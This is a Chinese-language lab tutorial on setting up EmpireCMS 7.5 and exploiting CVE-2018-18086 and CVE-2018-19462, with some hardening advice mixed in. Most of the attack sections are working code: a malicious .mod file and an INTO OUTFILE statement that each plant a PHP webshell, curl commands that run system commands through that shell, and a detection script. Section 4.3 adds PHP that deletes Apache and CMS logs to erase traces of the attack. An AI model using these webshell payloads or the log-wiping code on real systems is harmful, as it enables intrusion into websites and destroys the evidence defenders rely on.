EmpireCMS 7.5靶场搭建:从零到漏洞复现的全流程指南(附PHPStudy配置)
·
EmpireCMS 7.5靶场实战:环境配置与漏洞深度解析
在网络安全领域,实战演练是掌握漏洞原理最有效的方式之一。EmpireCMS作为国内广泛使用的内容管理系统,其7.5版本存在的多个安全漏洞成为学习Web安全的经典案例。本文将带您从零开始搭建完整的测试环境,并深入分析两个高危漏洞的形成机制与利用方式。
1. 基础环境搭建
1.1 组件准备与初始化
搭建EmpireCMS测试环境需要以下核心组件:
- PHPStudy 8.1:集成Apache/MySQL的运行环境
- EmpireCMS 7.5 GBK版:漏洞复现的目标系统
- MySQL 8.0:数据库服务
注意:所有实验应在隔离的虚拟机环境中进行,避免对生产系统造成影响
安装流程的关键步骤:
- 解压EmpireCMS安装包至PHPStudy的WWW目录(如
D:\phpstudy_pro\WWW\EmpireCMS) - 启动Apache和MySQL服务
- 访问安装向导
http://localhost/EmpireCMS/upload/e/install/index.php - 根据向导完成数据库配置
常见问题解决方案:
| 问题现象 | 可能原因 | 解决方法 |
|---|---|---|
| 安装页面空白 | PHP版本过高 | 切换至PHP5.6版本 |
| 数据库连接失败 | MySQL认证方式不兼容 | 在MySQL命令行执行:ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '密码'; |
1.2 系统配置优化
完成基础安装后,建议进行以下安全配置调整:
# 修改默认后台路径
mv /upload/e/admin/ /upload/e/admin_secure/
# 关闭调试模式
修改 /upload/e/config/config.php:
$ecms_config['sets']['debug'] = 0;
这些修改不会影响漏洞复现,但能提高实验环境的安全性。
2. CVE-2018-18086漏洞深度解析
2.1 漏洞形成机制
该漏洞存在于模型导入功能中,关键问题点位于/e/class/moddofun.php文件的LoadInMod函数:
function LoadInMod($add,$file,$file_name,$file_size,$userid,$username){
//...
$path = ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
@include($path); // 危险的文件包含操作
//...
}
漏洞利用需要满足三个条件:
- 文件扩展名必须为.mod
- 数据库表名不能已存在
- 文件内容会被直接包含执行
2.2 完整利用流程
实战操作步骤:
- 准备恶意.mod文件:
<?php
file_put_contents("shell.php", "<?php eval(\$_POST['cmd']);?>");
?>
-
访问后台路径
/e/admin/ecmsmod.php -
在"导入系统模型"界面:
- 表名填写不存在的名称(如test123)
- 上传修改后的.mod文件
-
漏洞触发后会在网站根目录生成webshell:
curl -X POST -d "cmd=phpinfo();" http://localhost/shell.php
2.3 安全防护方案
开发层面应采取的修复措施:
- 文件内容校验:
$allowed_content = ['<?php', '<?=', '<? '];
foreach($allowed_content as $pattern){
if(strpos(file_get_contents($path), $pattern) !== false){
unlink($path);
die('非法文件内容');
}
}
- 禁用动态包含:
// 替换危险的include操作
$mod_data = parse_mod_file($path); // 自定义安全解析函数
3. CVE-2018-19462漏洞剖析
3.1 SQL注入到代码执行
该漏洞出现在数据库管理模块,攻击链如下:
- 通过SQL查询获取Web目录绝对路径
- 利用
SELECT INTO OUTFILE写入PHP文件 - 执行任意系统命令
关键漏洞代码位于/e/admin/db/DoSql.php:
function DoRunQuery($sql){
//...
$empire->query($query); // 未过滤的SQL执行
//...
}
3.2 分步利用演示
- 获取网站绝对路径:
SELECT @@basedir; -- MySQL安装路径
SELECT @@datadir; -- 数据存储路径
- 构造恶意SQL语句:
SELECT '<?php system($_GET["c"]);?>'
INTO OUTFILE 'D:/phpstudy_pro/WWW/EmpireCMS/shell.php'
- 验证利用成功:
curl "http://localhost/shell.php?c=whoami"
3.3 多维防御策略
数据库安全加固方案:
- MySQL配置优化:
[mysqld]
secure_file_priv = /tmp
- 代码层防护:
function filter_sql($query){
$blacklist = ['outfile', 'dumpfile', 'char(', 'load_file'];
foreach($blacklist as $keyword){
if(stripos($query, $keyword) !== false){
return false;
}
}
return $query;
}
4. 漏洞组合利用实战
4.1 权限提升链条
结合两个漏洞可以实现更复杂的攻击场景:
- 通过CVE-2018-18086上传WebShell
- 利用WebShell执行数据库备份操作
- 在备份过程中触发CVE-2018-19462
- 最终获取服务器系统权限
4.2 自动化利用脚本
以下Python脚本演示自动化漏洞检测:
import requests
def check_vulnerability(url):
# 检测18086漏洞
test_file = {'file': ('test.mod', '<?php echo "vuln_check";?>')}
data = {'tbname': 'rand_table_123'}
response = requests.post(f'{url}/e/admin/ecmsmod.php', files=test_file, data=data)
if 'vuln_check' in response.text:
print('[+] CVE-2018-18086 vulnerable')
# 检测19462漏洞
sql = "SELECT '<?php echo \"vuln_check\";?>' INTO OUTFILE '/tmp/test.php'"
response = requests.get(f'{url}/e/admin/db/DoSql.php?query={sql}')
if 'DoExecSqlSuccess' in response.text:
print('[+] CVE-2018-19462 vulnerable')
4.3 痕迹清理技巧
渗透测试后应清理的日志文件:
- Apache访问日志:
/logs/access.log - EmpireCMS操作日志:
/e/data/log/ - MySQL查询日志:
/mysql_data/general_log.log
# 使用WebShell清理日志示例
<?php
array_map('unlink', glob('/e/data/log/*.php'));
unlink('/logs/access.log');
?>
更多推荐



所有评论(0)